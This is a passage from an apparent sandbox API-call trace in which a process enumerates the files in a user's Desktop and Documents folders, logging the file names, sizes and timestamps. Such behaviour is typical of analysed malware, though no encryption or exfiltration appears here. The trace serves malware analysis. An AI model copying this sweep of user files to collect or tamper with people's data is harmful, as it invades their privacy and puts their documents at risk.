nFileSizeLow=0x50f, dwReserved0=0x0, dwReserved1=0x0, cFileName="4yVa6jFJBm4-MyEym.jpg", cAlternateFileName="4YVA6J~1.JPG")) returned 1 [0178.613] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9acea60, ftCreationTime.dwHighDateTime=0x1d5e795, ftLastAccessTime.dwLowDateTime=0xdef911c0, ftLastAccessTime.dwHighDateTime=0x1d5e200, ftLastWriteTime.dwLowDateTime=0xdef911c0, ftLastWriteTime.dwHighDateTime=0x1d5e200, nFileSizeHigh=0x0, nFileSizeLow=0xbe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="80lC2joBWo.mp4", cAlternateFileName="80LC2J~1.MP4")) returned 1 [0178.613] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdc8d600, ftCreationTime.dwHighDateTime=0x1d5e2ed, ftLastAccessTime.dwLowDateTime=0x11b88e00, ftLastAccessTime.dwHighDateTime=0x1d5e054, ftLastWriteTime.dwLowDateTime=0x11b88e00, ftLastWriteTime.dwHighDateTime=0x1d5e054, nFileSizeHigh=0x0, nFileSizeLow=0xc63b, dwReserved0=0x0, dwReserved1=0x0, cFileName="8_rFq5ZX6nzu ridVGPu.bmp", cAlternateFileName="8_RFQ5~1.BMP")) returned 1 [0178.613] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9539df50, ftCreationTime.dwHighDateTime=0x1d5d8f6, ftLastAccessTime.dwLowDateTime=0x242f5eb0, ftLastAccessTime.dwHighDateTime=0x1d5dc7b, ftLastWriteTime.dwLowDateTime=0x242f5eb0, ftLastWriteTime.dwHighDateTime=0x1d5dc7b, nFileSizeHigh=0x0, nFileSizeLow=0xdacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="andRqn0VCD5y7q5.wav", cAlternateFileName="ANDRQN~1.WAV")) returned 1 [0178.613] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76e4960, ftCreationTime.dwHighDateTime=0x1d5e20e, ftLastAccessTime.dwLowDateTime=0x67b196c0, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x67b196c0, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0xbb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="b4m-Ac8AGWG.gif", cAlternateFileName="B4M-AC~1.GIF")) returned 1 [0178.613] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd039bc0, ftCreationTime.dwHighDateTime=0x1d5e7aa, ftLastAccessTime.dwLowDateTime=0x5b9fcb50, ftLastAccessTime.dwHighDateTime=0x1d5e01d, ftLastWriteTime.dwLowDateTime=0x5b9fcb50, ftLastWriteTime.dwHighDateTime=0x1d5e01d, nFileSizeHigh=0x0, nFileSizeLow=0x14cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiZbvmrNaxe7U.pps", cAlternateFileName="BIZBVM~1.PPS")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a38b00, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xb23c2180, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xb0725e00, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xa2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUsersUserDesktopfasfas.docm", cAlternateFileName="CUSERS~1.DOC")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28dd70, ftCreationTime.dwHighDateTime=0x1d5e4c7, ftLastAccessTime.dwLowDateTime=0xfa1a9730, ftLastAccessTime.dwHighDateTime=0x1d5d869, ftLastWriteTime.dwLowDateTime=0xfa1a9730, ftLastWriteTime.dwHighDateTime=0x1d5d869, nFileSizeHigh=0x0, nFileSizeLow=0x12c89, dwReserved0=0x0, dwReserved1=0x0, cFileName="fAhOvP0h_7F2C0V 8n.mkv", cAlternateFileName="FAHOVP~1.MKV")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2718ba70, ftCreationTime.dwHighDateTime=0x1d5e3b7, ftLastAccessTime.dwLowDateTime=0x5a7b5380, ftLastAccessTime.dwHighDateTime=0x1d5e6f7, ftLastWriteTime.dwLowDateTime=0x5a7b5380, ftLastWriteTime.dwHighDateTime=0x1d5e6f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gd8h6W-tDdPYOsc", cAlternateFileName="GD8H6W~1")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cc5190, ftCreationTime.dwHighDateTime=0x1d5d92e, ftLastAccessTime.dwLowDateTime=0x85f55570, ftLastAccessTime.dwHighDateTime=0x1d5daa3, ftLastWriteTime.dwLowDateTime=0x85f55570, ftLastWriteTime.dwHighDateTime=0x1d5daa3, nFileSizeHigh=0x0, nFileSizeLow=0x10335, dwReserved0=0x0, dwReserved1=0x0, cFileName="hN6bh2mpj8jH98.avi", cAlternateFileName="HN6BH2~1.AVI")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9e1480, ftCreationTime.dwHighDateTime=0x1d5e3e6, ftLastAccessTime.dwLowDateTime=0x3fc5c040, ftLastAccessTime.dwHighDateTime=0x1d5e39e, ftLastWriteTime.dwLowDateTime=0x3fc5c040, ftLastWriteTime.dwHighDateTime=0x1d5e39e, nFileSizeHigh=0x0, nFileSizeLow=0x11d23, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iw-qeLZfTimXVl.bmp", cAlternateFileName="IW-QEL~1.BMP")) returned 1 [0178.614] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35052a00, ftCreationTime.dwHighDateTime=0x1d5e1ec, ftLastAccessTime.dwLowDateTime=0xaca415d0, ftLastAccessTime.dwHighDateTime=0x1d5e51b, ftLastWriteTime.dwLowDateTime=0xaca415d0, ftLastWriteTime.dwHighDateTime=0x1d5e51b, nFileSizeHigh=0x0, nFileSizeLow=0x7f89, dwReserved0=0x0, dwReserved1=0x0, cFileName="l-zGKzqaDeSC7P 5ENks.mkv", cAlternateFileName="L-ZGKZ~1.MKV")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x793f1a80, ftCreationTime.dwHighDateTime=0x1d5da82, ftLastAccessTime.dwLowDateTime=0x1eaf9880, ftLastAccessTime.dwHighDateTime=0x1d5e836, ftLastWriteTime.dwLowDateTime=0x1eaf9880, ftLastWriteTime.dwHighDateTime=0x1d5e836, nFileSizeHigh=0x0, nFileSizeLow=0x8051, dwReserved0=0x0, dwReserved1=0x0, cFileName="LhC83Ap 4oh726RpP.wav", cAlternateFileName="LHC83A~1.WAV")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x628c6a20, ftCreationTime.dwHighDateTime=0x1d5e317, ftLastAccessTime.dwLowDateTime=0xbb1c740, ftLastAccessTime.dwHighDateTime=0x1d5e27c, ftLastWriteTime.dwLowDateTime=0xbb1c740, ftLastWriteTime.dwHighDateTime=0x1d5e27c, nFileSizeHigh=0x0, nFileSizeLow=0x128c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="oFrGFKU5-hoxKu9Xg.ods", cAlternateFileName="OFRGFK~1.ODS")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a5af80, ftCreationTime.dwHighDateTime=0x1d5e34e, ftLastAccessTime.dwLowDateTime=0xd7c8a8e0, ftLastAccessTime.dwHighDateTime=0x1d5e5b9, ftLastWriteTime.dwLowDateTime=0xd7c8a8e0, ftLastWriteTime.dwHighDateTime=0x1d5e5b9, nFileSizeHigh=0x0, nFileSizeLow=0xfb95, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pw4Y.m4a", cAlternateFileName="")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64fb2670, ftCreationTime.dwHighDateTime=0x1d5dfc5, ftLastAccessTime.dwLowDateTime=0x322c4400, ftLastAccessTime.dwHighDateTime=0x1d5dfc9, ftLastWriteTime.dwLowDateTime=0x322c4400, ftLastWriteTime.dwHighDateTime=0x1d5dfc9, nFileSizeHigh=0x0, nFileSizeLow=0x135b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="qhnN li.png", cAlternateFileName="QHNNLI~1.PNG")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x518c8270, ftCreationTime.dwHighDateTime=0x1d5e194, ftLastAccessTime.dwLowDateTime=0x1b1eafa0, ftLastAccessTime.dwHighDateTime=0x1d5e4bf, ftLastWriteTime.dwLowDateTime=0x1b1eafa0, ftLastWriteTime.dwHighDateTime=0x1d5e4bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tj6K7xr5pw", cAlternateFileName="TJ6K7X~1")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e63060, ftCreationTime.dwHighDateTime=0x1d5e638, ftLastAccessTime.dwLowDateTime=0x70983c80, ftLastAccessTime.dwHighDateTime=0x1d5e505, ftLastWriteTime.dwLowDateTime=0x70983c80, ftLastWriteTime.dwHighDateTime=0x1d5e505, nFileSizeHigh=0x0, nFileSizeLow=0x116ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="UdJH8JeHuEaApnsy.m4a", cAlternateFileName="UDJH8J~1.M4A")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf288560, ftCreationTime.dwHighDateTime=0x1d5e2a6, ftLastAccessTime.dwLowDateTime=0x16d27560, ftLastAccessTime.dwHighDateTime=0x1d5dc0b, ftLastWriteTime.dwLowDateTime=0x16d27560, ftLastWriteTime.dwHighDateTime=0x1d5dc0b, nFileSizeHigh=0x0, nFileSizeLow=0x110cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="uw0uv_KZ.mp4", cAlternateFileName="")) returned 1 [0178.615] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1005f0, ftCreationTime.dwHighDateTime=0x1d5d892, ftLastAccessTime.dwLowDateTime=0x72e603e0, ftLastAccessTime.dwHighDateTime=0x1d5e493, ftLastWriteTime.dwLowDateTime=0x72e603e0, ftLastWriteTime.dwHighDateTime=0x1d5e493, nFileSizeHigh=0x0, nFileSizeLow=0x14a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VmentJ7Rlzv.m4a", cAlternateFileName="VMENTJ~1.M4A")) returned 1 [0178.616] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe8e890, ftCreationTime.dwHighDateTime=0x1d5e221, ftLastAccessTime.dwLowDateTime=0xc095dc50, ftLastAccessTime.dwHighDateTime=0x1d5dd95, ftLastWriteTime.dwLowDateTime=0xc095dc50, ftLastWriteTime.dwHighDateTime=0x1d5dd95, nFileSizeHigh=0x0, nFileSizeLow=0x9881, dwReserved0=0x0, dwReserved1=0x0, cFileName="xD AF1imbksBJJVM.csv", cAlternateFileName="XDAF1I~1.CSV")) returned 1 [0178.616] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd25cfc50, ftCreationTime.dwHighDateTime=0x1d5e120, ftLastAccessTime.dwLowDateTime=0xd452a390, ftLastAccessTime.dwHighDateTime=0x1d5e259, ftLastWriteTime.dwLowDateTime=0xd452a390, ftLastWriteTime.dwHighDateTime=0x1d5e259, nFileSizeHigh=0x0, nFileSizeLow=0x9be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="YA1L37Gzt61sca B.mp4", cAlternateFileName="YA1L37~1.MP4")) returned 1 [0178.616] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd52c0, ftCreationTime.dwHighDateTime=0x1d5da40, ftLastAccessTime.dwLowDateTime=0xeeb26b80, ftLastAccessTime.dwHighDateTime=0x1d5e86c, ftLastWriteTime.dwLowDateTime=0xeeb26b80, ftLastWriteTime.dwHighDateTime=0x1d5e86c, nFileSizeHigh=0x0, nFileSizeLow=0x133be, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlFV cpjs9RTKIV2.gif", cAlternateFileName="ZLFVCP~1.GIF")) returned 1 [0178.616] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xd8438ad9, ftCreationTime.dwHighDateTime=0x1d69a98, ftLastAccessTime.dwLowDateTime=0xd8438ad9, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xd8438ad9, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="~$sersUserDesktopfasfas.docm", cAlternateFileName="~$SERS~1.DOC")) returned 1 [0178.616] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0178.617] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0178.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff154) returned 1 [0178.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff160) returned 1 [0178.617] CoTaskMemAlloc (cb=0x20c) returned 0x137cb88 [0178.617] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x137cb88 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0178.618] CoTaskMemFree (pv=0x137cb88) [0178.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x12febe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0178.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x12fec80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0178.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff198) returned 1 [0178.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x12fec4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0178.618] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x12feec0 | out: lpFindFileData=0x12feec0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9dee942c, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x9dee942c, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0178.618] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9dee942c, ftLastAccessTime.dwHighDateTime=0x1d5e878, ftLastWriteTime.dwLowDateTime=0x9dee942c, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.618] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c62e590, ftCreationTime.dwHighDateTime=0x1d5e3f3, ftLastAccessTime.dwLowDateTime=0x3dba6ae0, ftLastAccessTime.dwHighDateTime=0x1d5d961, ftLastWriteTime.dwLowDateTime=0x3dba6ae0, ftLastWriteTime.dwHighDateTime=0x1d5d961, nFileSizeHigh=0x0, nFileSizeLow=0x2a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DzxmKMx9vLu.odt", cAlternateFileName="4DZXMK~1.ODT")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebc7ec0, ftCreationTime.dwHighDateTime=0x1d57a5c, ftLastAccessTime.dwLowDateTime=0xb86db780, ftLastAccessTime.dwHighDateTime=0x1d56e43, ftLastWriteTime.dwLowDateTime=0xb86db780, ftLastWriteTime.dwHighDateTime=0x1d56e43, nFileSizeHigh=0x0, nFileSizeLow=0x1247d, dwReserved0=0x0, dwReserved1=0x0, cFileName="4oEXCT1bOWpXh.xlsx", cAlternateFileName="4OEXCT~1.XLS")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e97f680, ftCreationTime.dwHighDateTime=0x1d5ab20, ftLastAccessTime.dwLowDateTime=0x385f1d10, ftLastAccessTime.dwHighDateTime=0x1d5b63f, ftLastWriteTime.dwLowDateTime=0x385f1d10, ftLastWriteTime.dwHighDateTime=0x1d5b63f, nFileSizeHigh=0x0, nFileSizeLow=0x15673, dwReserved0=0x0, dwReserved1=0x0, cFileName="4uV4065ClZioLoOxUX7f.docx", cAlternateFileName="4UV406~1.DOC")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34129aa0, ftCreationTime.dwHighDateTime=0x1d55fed, ftLastAccessTime.dwLowDateTime=0x468407b0, ftLastAccessTime.dwHighDateTime=0x1d59057, ftLastWriteTime.dwLowDateTime=0x468407b0, ftLastWriteTime.dwHighDateTime=0x1d59057, nFileSizeHigh=0x0, nFileSizeLow=0x178a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7d4Q8tI0a.docx", cAlternateFileName="7D4Q8T~1.DOC")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572e5e20, ftCreationTime.dwHighDateTime=0x1d58ee1, ftLastAccessTime.dwLowDateTime=0xf5fbae30, ftLastAccessTime.dwHighDateTime=0x1d5c754, ftLastWriteTime.dwLowDateTime=0xf5fbae30, ftLastWriteTime.dwHighDateTime=0x1d5c754, nFileSizeHigh=0x0, nFileSizeLow=0xa027, dwReserved0=0x0, dwReserved1=0x0, cFileName="8 dILef0b6i7e2UBnk.pptx", cAlternateFileName="8DILEF~1.PPT")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab599100, ftCreationTime.dwHighDateTime=0x1d5e345, ftLastAccessTime.dwLowDateTime=0x4d63a840, ftLastAccessTime.dwHighDateTime=0x1d5e5d1, ftLastWriteTime.dwLowDateTime=0x4d63a840, ftLastWriteTime.dwHighDateTime=0x1d5e5d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8uLAch3YBq6bjGT_J58p", cAlternateFileName="8ULACH~1")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58a6f6f0, ftCreationTime.dwHighDateTime=0x1d565b9, ftLastAccessTime.dwLowDateTime=0x9b315590, ftLastAccessTime.dwHighDateTime=0x1d5bd2c, ftLastWriteTime.dwLowDateTime=0x9b315590, ftLastWriteTime.dwHighDateTime=0x1d5bd2c, nFileSizeHigh=0x0, nFileSizeLow=0x801, dwReserved0=0x0, dwReserved1=0x0, cFileName="aHW-1iGP.xlsx", cAlternateFileName="AHW-1I~1.XLS")) returned 1 [0178.619] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x922337d0, ftCreationTime.dwHighDateTime=0x1d585a4, ftLastAccessTime.dwLowDateTime=0x2928e930, ftLastAccessTime.dwHighDateTime=0x1d5a2f2, ftLastWriteTime.dwLowDateTime=0x2928e930, ftLastWriteTime.dwHighDateTime=0x1d5a2f2, nFileSizeHigh=0x0, nFileSizeLow=0xf64a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CQmwTaiySiiMfKSxL.docx", cAlternateFileName="CQMWTA~1.DOC")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b52720, ftCreationTime.dwHighDateTime=0x1d5e42b, ftLastAccessTime.dwLowDateTime=0x87a0ba40, ftLastAccessTime.dwHighDateTime=0x1d5db4d, ftLastWriteTime.dwLowDateTime=0x87a0ba40, ftLastWriteTime.dwHighDateTime=0x1d5db4d, nFileSizeHigh=0x0, nFileSizeLow=0x17793, dwReserved0=0x0, dwReserved1=0x0, cFileName="FTDe.xlsx", cAlternateFileName="FTDE~1.XLS")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80dc880, ftCreationTime.dwHighDateTime=0x1d5c24f, ftLastAccessTime.dwLowDateTime=0x748e4b30, ftLastAccessTime.dwHighDateTime=0x1d5e41b, ftLastWriteTime.dwLowDateTime=0x748e4b30, ftLastWriteTime.dwHighDateTime=0x1d5e41b, nFileSizeHigh=0x0, nFileSizeLow=0x157fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gwq5EHvw1.docx", cAlternateFileName="GWQ5EH~1.DOC")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x699e2dc0, ftCreationTime.dwHighDateTime=0x1d579a0, ftLastAccessTime.dwLowDateTime=0x36c8d860, ftLastAccessTime.dwHighDateTime=0x1d5bfd1, ftLastWriteTime.dwLowDateTime=0x36c8d860, ftLastWriteTime.dwHighDateTime=0x1d5bfd1, nFileSizeHigh=0x0, nFileSizeLow=0x14f38, dwReserved0=0x0, dwReserved1=0x0, cFileName="IKEYW.pptx", cAlternateFileName="IKEYW~1.PPT")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c1cc00, ftCreationTime.dwHighDateTime=0x1d59c62, ftLastAccessTime.dwLowDateTime=0xa466a0a0, ftLastAccessTime.dwHighDateTime=0x1d5a3f2, ftLastWriteTime.dwLowDateTime=0xa466a0a0, ftLastWriteTime.dwHighDateTime=0x1d5a3f2, nFileSizeHigh=0x0, nFileSizeLow=0x12880, dwReserved0=0x0, dwReserved1=0x0, cFileName="iNRQ.pptx", cAlternateFileName="INRQ~1.PPT")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6ecec0, ftCreationTime.dwHighDateTime=0x1d573dc, ftLastAccessTime.dwLowDateTime=0x91d10850, ftLastAccessTime.dwHighDateTime=0x1d59b1d, ftLastWriteTime.dwLowDateTime=0x91d10850, ftLastWriteTime.dwHighDateTime=0x1d59b1d, nFileSizeHigh=0x0, nFileSizeLow=0xa696, dwReserved0=0x0, dwReserved1=0x0, cFileName="kNBzvRJsm6UBDk1vbX M.xlsx", cAlternateFileName="KNBZVR~1.XLS")) returned 1 [0178.620] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12feecc | out: lpFindFileData=0x12feecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66431f10, ftCreationTime.dwHighDateTime=0x1d5db4c, ftLastAccessTime.dwLowDateTime=0x95d472f0, ftLastAccessTime.dwHighDateTime=0x1d5e3bd, ftLastWriteTime.dwLowDateTime=0x95d472f0, ftLastWriteTime.dwHighDateTime=0x1d5e3bd, nFileSizeHigh=0x0, nFileSizeLow=0x138d0, 